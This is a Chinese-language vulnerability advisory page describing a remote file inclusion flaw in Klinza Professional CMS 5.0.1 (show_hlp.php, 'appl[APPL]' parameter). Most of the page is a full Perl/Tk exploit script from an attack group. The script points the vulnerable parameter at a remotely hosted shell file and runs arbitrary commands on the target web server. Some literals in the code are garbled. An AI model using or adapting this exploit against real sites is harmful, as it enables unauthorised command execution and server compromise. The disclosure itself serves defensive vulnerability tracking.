BUGTRAQ ID: 20323
CNCAN ID:CNCAN-2006100403
漏洞消息时间:2006-10-03
漏洞起因
输入验证错误
影响系统
klinza klinza professional cms 5.0.1 alpha
危害
远程攻击者可以利用漏洞以WEB进程权限执行任意命令。
攻击所需条件
攻击者必须访问Klinza Professional CMS。
漏洞信息
Klinza Professional CMS是一款基于PHP的内容管理程序。
Klinza Professional CMS不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。
问题是由于'Show_Hlp.PHP'脚本对用户提交的'appl[APPL]'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。
测试方法
#!/usr/bin/perl
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- - - [DEVIL TEAM THE BEST POLISH TEAM] - -
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- Klinza Professional CMS <= 5.0.1 (show_hlp.php) Remote File Include
Exploit
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- [Script name: Klinza Professional CMS 5.0.1
#- [Script site:
http://sourceforge.net/project/showfiles.php?group_id=121246
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- Find by: Kacper (a.k.a Rahim)
#+
#- DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
#+
#- Contact: kacper1964@yahoo.pl
#- or
#- http://www.rahim.webd.pl/
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- Special Greetz: DragonHeart ;-)
#- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus
#- SkD, nukedclx, Ramzes
#-
#- Greetz for all users DEVIL TEAM IRC Channel !!
#!@ Przyjazni nie da sie zamienic na marne korzysci @!
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#+
#- Z Dedykacja dla osoby,
#- bez ktorej nie mogl bym zyc...
#- K.C:* J.M (a.k.a Magaja)
#+
#+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
use Tk;
use Tk::DialogBox;
use LWP::UserAgent;
$mw = new MainWindow(title => DEVIL TEAM :: Klinza Professional CMS <=
5.0.1 (show_hlp.php) Remote File Include Exploit :: by Kacper ;-) );
$mw->geometry ( 驌x300' ) ;
$mw->resizable(0,0);
$mw->Label(-text => 'Klinza Professional CMS <= 5.0.1 (show_hlp.php)
Remote File Include Exploit by Kacper', -font => '{Verdana} 7
bold',-foreground=>'blue')->pack();
$mw->Label(-text => '')->pack();
$fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ;
$fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ;
$url =
'http://www.site.com/[Klinza_path]/funzioni/lib/show_hlp.php?appl[APPL]='
$shell_path = 'http://server/shell.txt?'
$cmd = 'ls -la'
$fleft->Label ( -text => 'Script Path: ', -font => '{Verdana} 8 bold')
->pack ( -side => top , -anchor => 'e' ) ;
$fright->Entry ( -relief => groove, -width => 35, -font => '{Verdana}
8', -textvariable => \$url) ->pack ( -side => top , -anchor => 'w' ) ;
$fleft->Label ( -text => 'Shell Path: ', -font => '{Verdana} 8 bold' )
->pack ( -side => top , -anchor => 'e' ) ;
$fright->Entry ( -relief => groove, -width => 35, -font => '{Verdana}
8', -textvariable => \$shell_path) ->pack ( -side => top , -anchor =>
'w' ) ;
$fleft->Label ( -text => 'CMD: ', -font => '{Verdana} 8 bold') ->pack (
-side => top , -anchor => 'e' ) ;
$fright->Entry ( -relief => groove, -width => 35, -font => '{Verdana}
8', -textvariable => \$cmd) ->pack ( -side => top , -anchor => 'w' ) ;
$fright->Label( -text => ' ')->pack();
$fleft->Label( -text => ' ')->pack();
$fright->Button(-text => 'Exploit Include Vulnerability',
-relief => groove,
-width => ཚ',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&akcja
)->pack();
$fright->Label( -text => ' ')->pack();
$fright->Label( -text => 'Exploit coded by Kacper', -font => '{Verdana}
7')->pack();
$fright->Label( -text => 'DEVIL TEAM :: The Best Polish Team', -font =>
'{Verdana} 7')->pack();
$fright->Label( -text => 'http://www.rahim.webd.pl/', -font =>
'{Verdana} 7')->pack();
MainLoop();
sub akcja()
{
$InfoWindow=$mw->DialogBox(-title => 'DEVIL TEAM :: Exploit by Kacper
;-) ', -buttons => [OK]);
$InfoWindow->add('Label', -text => 'Enter to DEVIL TEAM IRC CHANNEL:
72.20.18.6:6667 #devilteam', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => 'DEVIL TEAM SITE:
http://www.rahim.webd.pl/', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => 'Greetz For my friends ;-)', -font =>
'{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
system(start $url$shell_path$cmd);
$InfoWindow->Show();
}
厂商解决方案
目前没有详细解决方案提供，请关注以下链接：
http://sourceforge.net/projects/klinza/
漏洞提供者
Kacper
漏洞消息链接
http://www.securityfocus.com/bid/20323
漏洞消息标题
Klinza Professional CMS Show_Hlp.PHP Remote File Include Vulnerability
|
|
网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）
版权归属：Copyright 2004-2008『冰凉网络』官方主页 All Rights Reserved. 
客服联系QQ:1050000 
Email:
联系电话(0)13536724023